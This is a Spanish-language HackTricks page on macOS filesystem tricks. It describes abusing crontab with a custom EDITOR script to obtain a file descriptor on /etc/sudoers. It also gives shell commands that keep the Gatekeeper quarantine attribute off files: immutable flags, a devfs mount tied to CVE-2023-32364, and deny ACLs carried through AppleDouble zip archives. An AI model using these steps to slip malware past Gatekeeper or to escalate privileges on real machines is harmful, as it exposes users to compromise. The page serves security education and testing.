mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-10 12:18:52 +00:00
114 lines
6.5 KiB
Markdown
114 lines
6.5 KiB
Markdown
|
# Trucos de macOS FS
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
|
||
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
|
||
|
</details>
|
||
|
|
||
|
## FD Arbitrario
|
||
|
|
||
|
Si puedes hacer que un **proceso abra un archivo o una carpeta con altos privilegios**, puedes abusar de **`crontab`** para abrir un archivo en `/etc/sudoers.d` con **`EDITOR=exploit.py`**, de modo que `exploit.py` obtendrá el FD del archivo dentro de `/etc/sudoers` y lo abusará.
|
||
|
|
||
|
Por ejemplo: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098)
|
||
|
|
||
|
## Trucos para evitar atributos de cuarentena
|
||
|
|
||
|
### Bandera uchg
|
||
|
|
||
|
Si un archivo/carpeta tiene este atributo inmutable, no será posible poner un xattr en él.
|
||
|
```bash
|
||
|
echo asd > /tmp/asd
|
||
|
chflags uchg /tmp/asd
|
||
|
xattr -w com.apple.quarantine "" /tmp/asd
|
||
|
xattr: [Errno 1] Operation not permitted: '/tmp/asd'
|
||
|
|
||
|
ls -lO /tmp/asd
|
||
|
# check the "uchg" in the output
|
||
|
```
|
||
|
### Montaje de defvfs
|
||
|
|
||
|
Un montaje de **devfs** **no admite xattr**, más información en [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)
|
||
|
```bash
|
||
|
mkdir /tmp/mnt
|
||
|
mount_devfs -o noowners none "/tmp/mnt"
|
||
|
chmod 777 /tmp/mnt
|
||
|
mkdir /tmp/mnt/lol
|
||
|
xattr -w com.apple.quarantine "" /tmp/mnt/lol
|
||
|
xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'
|
||
|
```
|
||
|
### ACL de writeextattr
|
||
|
|
||
|
Este ACL evita agregar `xattrs` al archivo.
|
||
|
```bash
|
||
|
rm -rf /tmp/test*
|
||
|
echo test >/tmp/test
|
||
|
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
|
||
|
ls -le /tmp/test
|
||
|
ditto -c -k test test.zip
|
||
|
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr
|
||
|
|
||
|
cd /tmp
|
||
|
echo y | rm test
|
||
|
|
||
|
# Decompress it with ditto
|
||
|
ditto -x -k --rsrc test.zip .
|
||
|
ls -le /tmp/test
|
||
|
|
||
|
# Decompress it with open (if sandboxed decompressed files go to the Downloads folder)
|
||
|
open test.zip
|
||
|
sleep 1
|
||
|
ls -le /tmp/test
|
||
|
```
|
||
|
### **com.apple.acl.text xattr + AppleDouble**
|
||
|
|
||
|
El formato de archivo **AppleDouble** copia un archivo incluyendo sus ACEs.
|
||
|
|
||
|
En el [**código fuente**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) es posible ver que la representación de texto de ACL almacenada dentro del xattr llamado **`com.apple.acl.text`** se establecerá como ACL en el archivo descomprimido. Por lo tanto, si comprimiste una aplicación en un archivo zip con el formato de archivo **AppleDouble** con una ACL que impide que otros xattrs se escriban en él... el xattr de cuarentena no se estableció en la aplicación:
|
||
|
|
||
|
Consulta el [**informe original**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) para obtener más información.
|
||
|
|
||
|
Para replicar esto, primero necesitamos obtener la cadena de acl correcta:
|
||
|
```bash
|
||
|
# Everything will be happening here
|
||
|
mkdir /tmp/temp_xattrs
|
||
|
cd /tmp/temp_xattrs
|
||
|
|
||
|
# Create a folder and a file with the acls and xattr
|
||
|
mkdir del
|
||
|
mkdir del/test_fold
|
||
|
echo test > del/test_fold/test_file
|
||
|
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold
|
||
|
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold/test_file
|
||
|
ditto -c -k del test.zip
|
||
|
|
||
|
# uncomporess to get it back
|
||
|
ditto -x -k --rsrc test.zip .
|
||
|
ls -le test
|
||
|
```
|
||
|
(Nota: aunque esto funcione, la sandbox escribe el atributo extendido de cuarentena antes)
|
||
|
|
||
|
No es realmente necesario, pero lo dejo aquí por si acaso:
|
||
|
|
||
|
{% content-ref url="macos-xattr-acls-extra-stuff.md" %}
|
||
|
[macos-xattr-acls-extra-stuff.md](macos-xattr-acls-extra-stuff.md)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
|
||
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
|
||
|
</details>
|